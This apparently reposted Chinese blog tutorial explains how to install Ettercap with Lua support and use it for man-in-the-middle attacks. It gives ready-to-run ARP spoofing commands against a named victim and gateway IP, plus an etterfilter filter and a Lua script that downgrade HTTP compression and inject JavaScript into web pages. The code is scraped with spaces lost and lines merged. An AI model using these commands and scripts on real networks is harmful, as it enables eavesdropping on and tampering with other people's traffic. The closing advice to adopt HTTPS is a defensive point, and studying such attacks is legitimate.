Ettercap 是一个综合性的中间人攻击工具,使用它可以进行 ARP 欺骗、拦截器、DNS 欺骗等操作,本文将介绍使用 ettercap 的文本模式进行代码注入的方式和注意点。
ettercap 提供了对各个操作系统的支持,这里主要介绍 macOS 的安装方式。
这种安装方式较为简单,但是安装的 ettercap 不支持 Lua 脚本,如果想要使用支持 Lua 脚本的 ettercap,需要通过源码安装。
- brewinstallettercap
源码安装需要较多的依赖库,具体依赖可以在 Ettercap 文档中查看,如果是 Ubuntu 平台,使用 apt-get 即可安装所有依赖,如果是 macOS 平台,可以使用 Homebrew 安装大部分缺失的依赖,如果 Homebrew 上没有,可以尝试使用 gem,笔者使用 Homebrew 和 gem 完成了所有依赖库的安装。
1. 首先将 ettercap 源码 clone 到本地,然后编辑 CMakeLists.txt,将第 16 行的
- option(ENABLE_LUA"Enable LUA support (EXPERIMENTAL)" OFF)
置为 ON,如果只是使用文本模式,可以将 ENABLE_CURSES 和 ENABLE_GTK 置为 OFF。
2. 按照文档建立并进入 builid 目录,执行如下命令。
- cmake .. -DOPENSSL_ROOT_DIR=/usr/local/opt/openssl-DOPENSSL_LIBRARIES=/usr/local/opt/openssl/lib
3. 如果第二步中有提示某个库 not found,先安装对应的库,然后先执行 make clean-all,再重新执行 2 中的命令,如果只有 memrchr 提示缺少,则可以忽略,经测试不会影响 ettercap 的运行。 如果没有上述问题,执行如下命令完成安装。
- sudomake install
4. 完成安装后,可以使用
查看安装位置,默认来说,ettercap 的相关工具在
- which ettercap
,配置文件在
- /usr/local/bin/
,运行时执行的 Lua 脚本在
- /etc/ettercap
。
- /usr/local/share/ettercap/lua/
通过 ARP 欺骗,我们可以使得受害者将我们视为网关,而网关将我们视为受害者,这样就实现了从请求到响应的双向监听,下面我们假设 192.168.0.1 是网关,而 192.168.0.119 为受害者,执行下面的命令即可进行监听。
- sudo ettercap - T - q - M ARP: remote - w network.pcap / 192.168.0.1 // /192.168.0.119//
其中 - T 代表文本模式,-q 为安静模式(不在控制台输出监听的数据),-M 为中间人攻击,-w 指定的是存储到磁盘的网络数据包,可以使用 Charles 或 Wireshark 等工具进行分析。其中 ip 地址的格式,根据编译源码时 CMakeList 中指定的是否支持 IPv6,分别为
或
- MAC/IP/IPv6/PORT
格式。
- MAC/IP/PORT
当受害者浏览网页时,网络报文会被记录在 network.pcap 中,按下空格会退出安静模式,将报文同时打印到控制台。
1. 首先我们介绍使用 etterfilter 编译 filter 并加载到 ettercap 对网络请求进行处理的方法,首先建立一个 ig.filter 文件,写入以下内容。
- # 拦截受害者发送的请求,将报文压缩方式由gzip降级为不压缩if (ip.proto== TCP && tcp.dst==80) {
- if (search(DATA.data,"Accept-Encoding")) {
- pcre_regex(DATA.data,"(Accept-Encoding:).*([\r\n])","$1 identity$2");msg("change encoding");}
- }# 对于服务器响应,向head中注入jsif (ip.proto== TCP && tcp.src==80) {
- if (search(DATA.data,"<head>")) {
- replace("<head>","<head><script>alert('js inject')</script>");msg("inject head");}
- }
这里需要注意的是,一定要对请求头的 Accept-Encoding 进行篡改,否则响应默认使用 gzip 编码的,这样我们直接注入明文 js 是无效的,将编码方式降级为 Identity,服务端会返回明文报文,同时客户端也不会再对报文进行一次解码。
2. 使用 etterfilter 将 filter 文件编译成 ef 文件
- etterfilter ig.filter-o ig.ef
3. 在监听数据的同时加载过滤器
- sudo ettercap - T - q - F ig.ef - M ARP: remote - w network.pcap / 192.168.0.1 // /192.168.0.119//
4. 尝试在受害者端使用浏览器访问未使用 HTTPS 的网站,例如 http://m.ctrip.com,如果成功会看到网页弹窗。
使用 Lua 脚本的好处是不需要经过编译,直接加载即可,另外一个好处是,不会破坏网页的原始结构 ,而 etterfilter 方式在数据包中含有大量数据,又向其中添加数据时,会造成包尾被截断,从而破坏网页结构。
使用 Lua 实现上述功能的代码如下。
- description ="Inject JS using Lua.";localhooks =require("hook_points");localpacket =require("packet");
- inject ="<script>alert('Inject JS using Lua.')</script>";
- hook_point = hooks.filter;
- packet_rule =function(packet_object)
- return(packet_object:is_tcp()andpacket_object:has_data()and(packet_object:dst_port() ==80 orpacket_object:src_port() ==80));endaction =function(packet_object)p = packet_object;
- data = p:read_data();if string.find(data,"Accept.Encoding:")thens,e =string.find(data,"Accept.Encoding:.-\n")
- newdata =string.gsub(data,"Accept.Encoding:.-\n","Accept-Encoding: identity "..string.rep(" ", e - s -27) .."\r\n")
- packet.set_data(p, newdata)-- ettercap.log("Changing Encoding");
- return
- endbody =string.upper(data);if(string.find(body,'<HEAD>'))thens,e =string.find(body,'<TITLE>.-</TITLE>');ifsthentitle =string.sub(data, s, e);
- s,e =string.find(body,'<TITLE>.-</TITLE>');if notsor notethen
- return;endlen = e - s;
- idata ="<title>".. description .."</title>".. inject .."\n";print(idata);
- newstr =string.sub(data,0, s -1) .. idata ..string.rep(" ", len -string.len(idata)) ..string.sub(data, e+1, -1);-- ettercap.log("Updating string");packet.set_data(p, newstr);end
- end
- end
ettercap 中的 lua API 可以在
中查看,在网络监听时加载 Lua 脚本的命令如下。
- /usr/local/share/ettercap/lua
- sudo ettercap - T - q - M ARP: remote--lua - script ig.lua - w network.pcap / 192.168.0.1 // /192.168.0.119//
本文主要介绍了使用 ettercap 监听和篡改 HTTP 流量的方法,可以看到在强大的工具面前,HTTP 流量是不堪一击的。因此普及 HTTPS 对于保护数据安全即为重要,除此之外,CISCO 等高端路由器默认对 ARP 欺骗进行了防御,在其局域网下也很难进行中间人攻击。对于 HTTPS 的数据监听,我们有两种思路,一种是降级为 HTTP,这种方式易被察觉;另一种是使用 SSLStrip 等工具进行会话劫持。
来源: http://blog.csdn.net/xyt8023y/article/details/73731121